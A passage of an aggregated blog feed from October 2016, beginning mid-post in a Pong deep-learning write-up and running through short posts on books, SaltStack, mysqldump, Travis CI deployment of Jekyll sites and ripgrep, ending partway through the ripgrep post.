&lt;p&gt;It was only after revisiting the policy gradient theorem that it became clear - each reward received is taken as an unbiased random sample of the expected score function. As long as this sampling is unbiased, the policy gradient method will eventually converge, but such random sampling is extremely noisy and has a very high variance. Most of the more elaborate policy learning methods attempt to minimize this in a variety of ways but simply taking lots and lots of samples is a very scalable and simple way to directly reduce the variance of the estimate too.&lt;/p&gt;

&lt;p&gt;In fact by running several thousand games per batch the model only requires 70 weight updates to go from completely random behaviour to beating Atari Pong from pixels. I confess to a certain curiosity as to how low this can go. Pong is not a deep or complex game. Learning a winning strategy in a single weight update would be kinda neat!&lt;/p&gt;

&lt;h1&gt;Part Six: Finally Something I Can Do&lt;/h1&gt;

&lt;p&gt;Having seen that the approach was working, actually &lt;a href="https://www.allinea.com/blog/201610/deep-learning-episode-4-supercomputer-vs-pong-ii"&gt;optimizing this and running it at extreme scale&lt;/a&gt; was the only straightforward part of this entire process. This is something I know how to do and something there are &lt;a href="http://allinea.com/products/map"&gt;very good tools to measure and improve parallel performance&lt;/a&gt;. I rather suspect that scalar deep learning will need a similarly large investment in tools surrounding model correctness and debugging before it becomes widely accessible.&lt;/p&gt;

&lt;h1&gt;Part Seven: Is It Just Me?&lt;/h1&gt;

&lt;p&gt;So that&amp;rsquo;s the background to the story - dozens of dead ends, desperate and frustrated rereading of source code and papers to discover sigmoid activation functions paired with the mean squared error costs, single frames passed as input instead of a sequence or difference frame and all manner of other sins before finally managing to get something working.&lt;/p&gt;

&lt;p&gt;I&amp;rsquo;d love to hear from others who have tried and failed or succeeded. Did your story mirror mine with similar amounts of desperation, persistence, surprise and luck? Have you found a sound method for exploring new use cases that I should be using and sharing?&lt;/p&gt;

&lt;p&gt;Deep learning is the wild west right now - stories of exciting progress all around but very little hard and fast support to help you on your way. This short yet honest making-of is my attempt to change that.&lt;/p&gt;

&lt;p&gt;Happy training!&lt;/p&gt;</description><author>Yield Thought</author><pubDate>Thu, 27 Oct 2016 20:51:54 GMT</pubDate><guid isPermaLink="true">https://yieldthought.com/post/152387538430</guid></item><item><title>Sputnik Sweetheart</title><link>https://apurva-shukla.me/bookshelf/sputnik-sweetheart/</link><description>⭐ ⭐ ⭐ ⭐ ⭐ Must I say anything?

Murakami once again dazzles with his stunning simplicity and expansive writing ability.

The novels’ looming…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Thu, 27 Oct 2016 10:38:20 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/sputnik-sweetheart/</guid></item><item><title>How to De-Risk a Startup</title><link>https://www.codingvc.com/p/how-to-de-risk-a-startup</link><description>In a previous post, I wrote that startups are collections of risks, and that the best way to make progress on a company (and to get higher valuations from investors) is to address the biggest risks as quickly and thoroughly as possible.</description><author>Coding VC</author><pubDate>Thu, 27 Oct 2016 04:45:00 GMT</pubDate><guid isPermaLink="true">https://www.codingvc.com/p/how-to-de-risk-a-startup</guid></item><item><title>2016.10.27</title><link>https://www.wints.org/daypages/2016.10.27/</link><description>&lt;p&gt;I went to the meeting for MBE businesses in Oakland.
Then Comcast to see how to move our internet to our new address: 723 Jackson St. Albany, CA&lt;/p&gt;
&lt;p&gt;They said try plugging in a new modem to see if there&amp;rsquo;s already a connection there. If not, they&amp;rsquo;ll send out a tech to take a look.
Hope it doesn&amp;rsquo;t take a week to fix the internet.&lt;/p&gt;
&lt;p&gt;Cough is better. Ritika left early today, deadline on Friday.&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Thu, 27 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/daypages/2016.10.27/</guid></item><item><title>Explaining VarnishHist – What Does it Tell Us</title><link>https://boyter.org/2016/10/explaining-varnishhist/</link><description>&lt;p&gt;The varnishhist tool is one of the most underused varnish tools that come with your standard varnish install. Probably because of how it appears at first glance.&lt;/p&gt;
&lt;p&gt;In short, you want as many &lt;code&gt;|&lt;/code&gt; symbols as possible and you want everything far toward the left hand side. The closer to the left the faster the responses are regardless if they are cached or not. The more &lt;code&gt;|&lt;/code&gt; symbols then more items were served from cache.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Thu, 27 Oct 2016 02:56:01 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2016/10/explaining-varnishhist/</guid></item><item><title>SaltStack Best Practices Cheat Sheet</title><link>https://btmiller.com/2016/10/26/saltstack-best-practices-cheat-sheet.html</link><description>&lt;p&gt;By design, Salt is not opinionated. That means that its flexibility allows you to create your own patterns and designs for concepts where it makes sense. The best practices outlined here are meant to be suggestions – not doctrine. Thus, this is a living document that evolves over time as your infrastructure’s needs change.&lt;/p&gt;

&lt;p&gt;For anything not covered under this guide, defer to &lt;a href="https://docs.saltstack.com/en/latest/topics/best_practices.html#salt-best-practices"&gt;Salt Best Practices&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id="states-are-atomic-and-seldom-change"&gt;States are atomic and seldom change&lt;/h3&gt;

&lt;p&gt;Static – the way you install and manage, for example, Vim isn’t likely to change much over the years. Install the package, enforce its config file, ensure that it’s in the system PATH, etc.&lt;/p&gt;

&lt;p&gt;Atomic – a State does not require dependencies external to its relevant SLS files.&lt;/p&gt;

&lt;h3 id="idempotency-at-all-costs"&gt;Idempotency at all costs&lt;/h3&gt;

&lt;p&gt;The power of Salt means doing a &lt;code class="language-plaintext highlighter-rouge"&gt;state.apply&lt;/code&gt; at any time should &lt;strong&gt;never be a problem&lt;/strong&gt;.&lt;/p&gt;

&lt;h3 id="use-pillars-for-basic-templating"&gt;Use Pillars for basic templating&lt;/h3&gt;

&lt;p&gt;Because we already said that our States are atomic and &lt;em&gt;mostly&lt;/em&gt; static, we should move variables out of States and into Pillars. Your States top file says that a target should have NTP, Vim, Nginx, and Tomcat installed, but Pillars should fill in the version numbers, path, passwords, etc.&lt;/p&gt;

&lt;h3 id="go-easy-on-the-templating"&gt;Go easy on the templating&lt;/h3&gt;

&lt;p&gt;Templating is great, until it isn’t. Avoid premature optimization because boiling the ocean is an easy way to lose sight of the real problems that need solving. Favor readability.&lt;/p&gt;

&lt;h3 id="maintain-local-consistency"&gt;Maintain local consistency&lt;/h3&gt;

&lt;p&gt;Global consistency is nice, but &lt;a href="https://google.github.io/styleguide/pyguide.html"&gt;don’t be blinded by it&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;[…] take a few minutes to look at the code around you and determine its style. If they use spaces around all their arithmetic operators, you should too. If their comments have little boxes of hash marks around them, make your comments have little boxes of hash marks around them too.&lt;/p&gt;

  &lt;p&gt;The point of having style guidelines is to have a common vocabulary of coding so people can concentrate on what you’re saying rather than on how you’re saying it. We present global style rules here so people know the vocabulary, but local style is also important.&lt;/p&gt;
&lt;/blockquote&gt;</description><author/><pubDate>Wed, 26 Oct 2016 21:48:00 GMT</pubDate><guid isPermaLink="true">https://btmiller.com/2016/10/26/saltstack-best-practices-cheat-sheet.html</guid></item><item><title>Protonmail - Why I switched and you should too</title><link>https://jmthornton.net/blog/p/protonmail</link><description>ProtonMail brings email privacy to the people while maintaining a fantastic user experience characteristic of a first-class email service.</description><author>Blog by Jade Michael Thornton</author><pubDate>Wed, 26 Oct 2016 18:00:00 GMT</pubDate><guid isPermaLink="true">https://jmthornton.net/blog/p/protonmail</guid></item><item><title>MySQL Dump Without Impacting Queries</title><link>https://boyter.org/2016/10/mysql-dump-impacting-queries/</link><description>&lt;p&gt;Posted more for my personal use (I have to look it up every time) but here is how to run a mysqldump without impacting performance on the box. It sets the ionice and nice values to be as low as possible (but still run) and uses a single transaction and ups the max packet size for MySQL.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ionice -c2 -n7 nice -n19 mysqldump -u root -p DATABASE --single-transaction --max_allowed_packet=512M &amp;gt; FILENAME
&lt;/code&gt;&lt;/pre&gt;</description><author>Ben E. C. Boyter</author><pubDate>Wed, 26 Oct 2016 04:11:01 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2016/10/mysql-dump-impacting-queries/</guid></item><item><title>NYC</title><link>https://faingezicht.com/photos/2016/10/26/nyc/</link><description>I spent this past weekend in New York. Each time I have visited the city, I have come back with more respect for it. I'd love to have more time to explore it in the future.</description><author>Avy Faingezicht</author><pubDate>Wed, 26 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2016/10/26/nyc/</guid></item><item><title>Inferno</title><link>https://danielpecos.com/2016/10/25/inferno/</link><description>&lt;p&gt;&lt;a href="http://www.amazon.es/Inferno-versi%C3%B3n-espa%C3%B1ola-Dan-Brown-ebook/dp/B00CHSPHWY%3FSubscriptionId%3DAKIAJHGGVVP5D22LY7JQ%26tag%3Dbiblo-es-21%26linkCode%3Dxm2%26camp%3D2025%26creative%3D165953%26creativeASIN%3DB00CHSPHWY" rel="noopener" target="_blank"&gt;&lt;img alt="Inferno" class="alignleft size-full" height="519" src="https://danielpecos.com/assets/2017/10/libro-inferno-dan-brown.jpg" width="367" /&gt;&lt;/a&gt;El profesor Robert Langdon se despierta a mitad de la noche en un hospital, con una herida en la cabeza ocasionada por una bala, sin embargo, el docente de simbología no tenía idea de cómo sucedieron los hechos, ya que no recuerda nada de los últimos dos días, tampoco cómo había llegado al centro médico, ni de la procedencia de una objeto macabro que hallaron en el bolsillo de su chaqueta.&lt;/p&gt;
&lt;h3 id="una-historia-llena-de-acertijos"&gt;&lt;strong&gt;Una historia llena de acertijos&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Tras lo ocurrido, el mundo de Langdon pronto se transforma en un caos, por lo que se ve obligado a huir por las calles de Florencia, ya que en el hospital donde se encontraba internado una joven buscó asesinarlo. Sin embargo, una inteligente doctora llamada Sienna Brooks, le salva la vida ayudándolo a salir del centro hospitalario. En su huida y con la compañía de la doctora, el profesor irá a reunir información que lo conducirán a nuevos desafíos y retos, que le permitirán descifrar códigos y jeroglíficos, que a medida en que se topa con estos acertijos la trama se va tornando más siniestra e inquietante.&lt;/p&gt;
&lt;p&gt;Al tiempo descubre, que no solamente la joven del hospital quería quitarle la vida, sino también unos “hombres de negro”, que estaban equipados con tecnología de punta. Langdon y Sienna recorren escenarios conocidos en Florencia como el Palacio Vecchio y los jardines Boboli, entre otros lugares.&lt;/p&gt;
&lt;p&gt;En su camino por las calles, el profesor se encuentra con símbolos, llamativos cuadros, estatuas y sitios con pasadizos secretos por toda Florencia, una parte de Venecia y en Estambul, por lo que no tardará en percatarse de que está ante una conjunto de códigos diseñados por un científico obsesionado con el fin del mundo, que solo es comparable a su atracción que tiene por una de las obras maestras de más reconocimiento en el mundo: Inferno de Dante Aligheri.&lt;/p&gt;
&lt;h3 id="un-libro-complicado-pero-logra-enganchar"&gt;Un libro complicado pero logra enganchar&lt;/h3&gt;
&lt;p&gt;El Infierno de Dan Brown es una lectura complicadamente divertida, que es capaz de cautivar al lector a través de la belleza del arte, la literatura italiana y la historia, mientras que a su vez plantea conjeturas acerca del rol que tendrá la ciencia en los tiempos venideros. Por otro lado, la trama mantiene una coherencia y lógica muy interesante.&lt;/p&gt;
&lt;p&gt;Además, nos ofrece una percepción muy llamativa, a medio camino, entre los hechos y las suposiciones sobre la vida y obra de Dante. En la historia se van desnudando paulatinamente la influencia que tuvo el escritor en el concepto cristiano del infierno y cómo su obra influyó en la visión religiosa de otros artistas.&lt;/p&gt;
&lt;h3 id="el-infierno-de-dan-brown-y-su-gran-lanzamiento"&gt;El infierno de Dan Brown y su gran lanzamiento&lt;/h3&gt;
&lt;p&gt;El Infierno de Dan Brown fue traducido en alemán. Turco, francés, catalán, español, neerlandés, italiano, portugués, entre otras lenguas, todo esto con el propósito de ser lanzado mundialmente de manera simultánea en estos países.&lt;/p&gt;
&lt;p&gt;Pero, aunque este libro, tiene sus puntos cuestionables desde la perspectiva de la calidad narrativa, aun así, logra enganchar al lector e introducirlo en un universo de maquinaciones y conspiraciones del que difícilmente se puede huir una vez que se entra en él.&lt;/p&gt;
&lt;noscript&gt;
&lt;/noscript&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Tue, 25 Oct 2016 07:38:00 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/10/25/inferno/</guid></item><item><title>Xcb, X11, Xlib, Wayland?</title><link>https://venam.net/blog/unix/2016/10/25/x11-blah-blah.html</link><description>What's happening here!  This isn't a podcast about window managers and the ways to make one.  (Though we might record one in the future) It's about the architectural differences between the different ways of interacting with the system to display graphics.  Be it by interacting with other layers such as X11 or higher or by directly drawing them on the screen.  It's really not about how to use the functions, and the technicalities and intricacies of every one of the softwares we're going to mention.  We might do that, but again, it will be the subject of another episode.  This one will only be an introduction.  In this podcast you'll get a general overview of x11, xlib, xcb, and wayland.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Mon, 24 Oct 2016 20:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/unix/2016/10/25/x11-blah-blah.html</guid></item><item><title>Quitting the shallow for the deep</title><link>https://josh.works/i-quit</link><description>&lt;h2 id="deep-work-over-shallow"&gt;Deep work over shallow&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;TL;DR: I’m off social media, but want to keep a functioning Twitter URL. So, it redirects here.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This year’s “best book I’ve read” label might go to Cal Newport’s &lt;a href="https://www.amazon.com/Deep-Work-Focused-Success-Distracted/dp/1455586692"&gt;Deep Work&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Here’s the gist:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;One of the most valuable skills in our economy is becoming increasingly rare. If you master this skill, you’ll achieve extraordinary results.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Deep work is the ability to focus without distraction on a cognitively demanding task. It’s a skill that allows you to quickly master complicated information and produce better results in less time. Deep work will make you better at what you do and provide the sense of true fulfillment that comes from craftsmanship. In short, deep work is like a super power in our increasingly competitive twenty-first century economy. And yet, most people have lost the ability to go deep-spending their days instead in a frantic blur of e-mail and social media, not even realizing there’s a better way.&lt;/p&gt;

&lt;p&gt;In DEEP WORK, author and professor Cal Newport flips the narrative on impact in a connected age. Instead of arguing distraction is bad, he instead celebrates the power of its opposite. Dividing this book into two parts, he first makes the case that in almost any profession, cultivating a deep work ethic will produce massive benefits. He then presents a rigorous training regimen, presented as a series of four “rules,” for transforming your mind and habits to support this skill.&lt;/p&gt;

&lt;p&gt;I often feel terrible at owning and directing my own attention. Yet, this ability is one of the most significant factors over on-going professional success
and project-related satisfaction.&lt;/p&gt;

&lt;p&gt;(I differentiate the two because you can have professional success without much satisfaction, and probably vice versa. I want both.)&lt;/p&gt;

&lt;p&gt;I’ve a bunch of other reasons for wanting to develop these skills, but reading Deep Work helped clarify something about why a goal I accomplished a few years ago was so satisfying.&lt;/p&gt;

&lt;p&gt;The context: I was working in DC in an uninspiring and low-paid role. I was commuting about an hour each way. Kristi and I wanted to move, and I wanted a better job. I didn’t feel like I “deserved” a better job, just that I’d not yet accomplished the dual efforts of:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Being more valuable&lt;/li&gt;
  &lt;li&gt;Finding a role where I could deliver that additional value.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If I could accomplish these goals, I could find a great company, and do that work remotely.&lt;/p&gt;

&lt;p&gt;Put another way, if I could accomplish these goals, Kristi and I could move to Colorado with a job in hand. To someone who’s grown up in the climbing community, this is akin to dying and going to heaven.&lt;/p&gt;

&lt;p&gt;In hindsight, this powerful goal motivated me to do deep work. I spent many, many hours immersed deep in a range of projects:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Who are industry-leaders in the customer support world? I got to know them.&lt;/li&gt;
  &lt;li&gt;Could I show that I’d help improve the efforts my entire team? If not, figure out how, and then do it.&lt;/li&gt;
  &lt;li&gt;Could I add valuable skills to my “toolchest”? I think so. I went deep on Excel, so I could collect/display data better.&lt;/li&gt;
  &lt;li&gt;Can I communicate in writing better? Probably. Learn by doing, so I started writing. Lots.&lt;/li&gt;
  &lt;li&gt;I studied just about everything Ramit Sethi wrote on getting jobs. (&lt;a href="https://www.iwillteachyoutoberich.com/insiders-kit/80-20-guide/"&gt;Here’s a great place to start.&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And I did all of this most days between the hours of 4:45a - 7:15a. Because after I went to work and got back at 6:30p, I was exhausted.&lt;/p&gt;

&lt;p&gt;I’ve not poured myself into projects with quite that same intensity for a while, in part, because it’s easy to get distracted. And I don’t have quite the same audacious goals that I did then.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;To make space for deep work, I’m removing “the shallows” from my easy reach. I’ve not used Facebook much over the last two years, but it’ll stay deleted. Instagram I’m removing from my phone, and Twitter - I’m locking myself out of it, removing it from my phone.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That is all. I might update this a bit more as I go, but for now - I’ve taken all the time I’ve allotted to write this, and it’s on to the next thing.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Mon, 24 Oct 2016 15:18:52 GMT</pubDate><guid isPermaLink="true">https://josh.works/i-quit</guid></item><item><title>Setting up Travis, Jekyll and GitHub pages</title><link>https://muffinman.io/blog/travis-jekyll-and-github-pages/</link><description>&lt;article class="article"&gt;&lt;div class="notice notice--warning"&gt;Please note that I&amp;#x27;m not using Jekyll anymore, so this post might be outdated.&lt;/div&gt;&lt;h2 id="update-november-2017"&gt;Update, November 2017 &lt;a class="anchor-link" href="#update-november-2017"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I don&amp;#x27;t use this setup anymore, it might be outdated, proceed with caution.&lt;/p&gt;
&lt;h2 id="original-post"&gt;Original post &lt;a class="anchor-link" href="#original-post"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;As I already mentioned, GitHub pages do not work with the Jekyll plugins.
It is a security measure. So I researched it a bit, and colleague of mine
proposed a simple solution - Travis CI.&lt;/p&gt;
&lt;p&gt;There is a great repo with instructions how to set everything up -
&lt;a href="https://github.com/mfenner/jekyll-travis"&gt;jekyll-travis&lt;/a&gt;.
But few steps are kinda confusing, and it took me 10 failed builds to make
it work. So I&amp;#x27;ll try to help you with those.&lt;/p&gt;
&lt;p&gt;I copied the steps from the original repo and updated steps where I got stuck.
Be sure to check the original readme as well.&lt;/p&gt;
&lt;h2 id="flow"&gt;Flow &lt;a class="anchor-link" href="#flow"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;When you push to your GitHub repo, it triggers Travis&lt;/li&gt;
&lt;li&gt;Travis starts up a virtual machine and installs all required software (mostly Ruby gems). We use a custom rake task to tell Travis how to build our Jekyll site and push the updated content back to Github&lt;/li&gt;
&lt;li&gt;Travis clones a source branch (usually &lt;code&gt;master&lt;/code&gt; or &lt;code&gt;source&lt;/code&gt;, in my case &lt;code&gt;source&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Travis runs &lt;code&gt;jekyll build&lt;/code&gt; on the source branch&lt;/li&gt;
&lt;li&gt;Travis does a &lt;code&gt;git push&lt;/code&gt; to the branch holding static site files (usually &lt;code&gt;gh-pages&lt;/code&gt; or &lt;code&gt;master&lt;/code&gt;, in my case &lt;code&gt;master&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Github Pages starts serving the updated site&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="steps-to-make-it-work"&gt;Steps to make it work &lt;a class="anchor-link" href="#steps-to-make-it-work"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Move your Jekyll source files to the &lt;code&gt;source&lt;/code&gt; branch (name it as you like).
We&amp;#x27;ll use &lt;code&gt;master&lt;/code&gt; or &lt;code&gt;gh-pages&lt;/code&gt; branch to host generated HTML website.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Make sure you have enabled your source repo in the Travis CI admin dashboard so that the webhook is triggered&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create a GitHub Personal Access Token from you &lt;a href="https://github.com/settings/tokens"&gt;profile page&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you haven&amp;#x27;t already, create a &lt;code&gt;Gemfile&lt;/code&gt;, and add &lt;code&gt;rake&lt;/code&gt; gem to it.&lt;/p&gt;
&lt;pre class="language-ruby"&gt;&lt;code class="language-ruby code-highlight"&gt;&lt;span class="code-line"&gt;source &lt;span class="token string-literal"&gt;&lt;span class="token string"&gt;&amp;quot;http://production.cf.rubygems.org/&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;gem &lt;span class="token string-literal"&gt;&lt;span class="token string"&gt;&amp;quot;rake&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string-literal"&gt;&lt;span class="token string"&gt;&amp;quot;~&amp;gt; 10.1.1&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;gem &lt;span class="token string-literal"&gt;&lt;span class="token string"&gt;&amp;quot;jekyll-paginate&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;gem &lt;span class="token string-literal"&gt;&lt;span class="token string"&gt;&amp;quot;jekyll-archives&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We have seen &lt;a href="http://blog.travis-ci.com/2013-05-20-network-timeouts-build-retries/"&gt;intermittent timeouts&lt;/a&gt; fetching gems from Rubygems.org. &lt;code&gt;install: bundle install&lt;/code&gt; lets Travis CI automatically retry, and we are using &lt;code&gt;source &amp;quot;http://production.cf.rubygems.org/&amp;quot;&lt;/code&gt; in Gemfile to point to a different repository.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install the travis gem (&lt;code&gt;gem install travis&lt;/code&gt;) and create &lt;code&gt;.travis.yml&lt;/code&gt;.
It will tell Travis what to install and how build our Jekyll site.
Add following data to it.&lt;/p&gt;
&lt;pre class="language-yaml"&gt;&lt;code class="language-yaml code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token key atrule"&gt;language&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; ruby
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token key atrule"&gt;rvm&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;-&lt;/span&gt; 2.3.1
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token key atrule"&gt;install&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;-&lt;/span&gt; bundle install
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token key atrule"&gt;script&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; bundle exec rake site&lt;span class="token punctuation"&gt;:&lt;/span&gt;deploy &lt;span class="token punctuation"&gt;-&lt;/span&gt;&lt;span class="token punctuation"&gt;-&lt;/span&gt;quiet
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token key atrule"&gt;env&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token key atrule"&gt;global&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token key atrule"&gt;secure&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; YOUR_ENCRYPTED_INFO
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace the &lt;code&gt;YOUR_ENCRYPTED_INFO&lt;/code&gt; with the output of the following command:&lt;/p&gt;
&lt;pre class="language-bash"&gt;&lt;code class="language-bash code-highlight"&gt;&lt;span class="code-line"&gt;travis encrypt &lt;span class="token string"&gt;&amp;#x27;GIT_NAME=&amp;quot;Your Username&amp;quot; GIT_EMAIL=&amp;quot;your@email.com&amp;quot; GH_TOKEN=GITHUB_PERSONAL_TOKEN_YOU_CREATED&amp;#x27;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Make sure you add &lt;code&gt;vendor&lt;/code&gt; to your .gitignore as Travis CI is vendoring the Ruby gems there. The &lt;code&gt;vendor&lt;/code&gt; folder should also be excluded in the Jekyll &lt;code&gt;_config.yml&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add the following to your Jekyll &lt;code&gt;_config.yml&lt;/code&gt; file: &lt;code&gt;username&lt;/code&gt;, &lt;code&gt;repo&lt;/code&gt; and &lt;code&gt;branch&lt;/code&gt;.&lt;/p&gt;
&lt;pre class="language-yaml"&gt;&lt;code class="language-yaml code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;# GitHub&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token key atrule"&gt;username&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt;             Stanko
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token key atrule"&gt;repo&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt;                 Stanko.github.io
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token key atrule"&gt;branch&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt;               source
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;# Jekyll source / destination&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token key atrule"&gt;source&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt;               .
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token key atrule"&gt;destination&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt;          _site
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add the contents of &lt;code&gt;Rakefile&lt;/code&gt; to your Jekyll Rakefile (or replace it).
The provided &lt;a href="https://github.com/Stanko/Stanko.github.io/blob/source/Rakefile"&gt;Rakefile&lt;/a&gt;
has some additional commands, but the important one here is &lt;code&gt;rake site:deploy&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And you are done! That should be it, of course you need to create a Travis CI account.
Travis is free for the open source projects. If you are using it for the commercial stuff,
play fair and check their payed tiers.&lt;/p&gt;
&lt;p&gt;Build for my blog takes about a minute.
It depends of the software Travis installs on every build.&lt;/p&gt;
&lt;p&gt;Now you can use custom plugins and asset pipeline with Jekyll. Cheers!&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Mon, 24 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/travis-jekyll-and-github-pages/</guid></item><item><title>How to Ally</title><link>https://peterlyons.com/problog/2016/10/how-to-ally/</link><description>&lt;p&gt;Article of the week right here: &lt;a href="https://codeascraft.com/2016/10/19/being-an-effective-ally-to-women-and-non-binary-people/"&gt;Being an effective ally to woman and non-binary  people&lt;/a&gt;.&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Mon, 24 Oct 2016 00:23:30 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/10/how-to-ally/</guid></item><item><title>2016-10-22</title><link>https://ho.dges.online/pictures/2016-10-22/</link><description>&lt;p&gt;&lt;strong&gt;Spanish Silhouettes&lt;/strong&gt;&lt;br /&gt;
Taken one-handed in a pub somewhere near Ribadesella, this is one of the few times when I really knew I had nailed capturing a picture on the first attempt. Such a beautiful part of the world.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sat, 22 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-10-22/</guid></item><item><title>ripgrep is the new hotness</title><link>https://peterlyons.com/problog/2016/10/ripgrep-is-the-new-hotness/</link><description>&lt;p&gt;For any of you command line code searching nerds out there, just wanted to point out the newest addition to a long line of command line filesystem search utilities.&lt;/p&gt;
&lt;p&gt;A brief, probably wildly inaccurate history goes something like this:&lt;/p&gt;
&lt;p&gt;In the before time, the long long ago, there was &lt;code&gt;grep&lt;/code&gt;. It did recursive regex searches and was pretty powerful and effective. Sometimes you would need to pair it with &lt;code&gt;find&lt;/code&gt; and &lt;code&gt;xargs&lt;/code&gt; to get more precision.&lt;/p&gt;
&lt;p&gt;Sometime around 2006 Andy "petdance" Lester got sick of grep searching irrelevant metadata like SCM directories and wrote an updated tool called &lt;code&gt;ack&lt;/code&gt; which was smart enough to ignore those by default. It was written in perl and faster than grep. This was touted as "25% fewer characters to type than grep". Read more at &lt;a href="http://beyondgrep.com"&gt;beyondgrep.com&lt;/a&gt;.&lt;/p&gt;
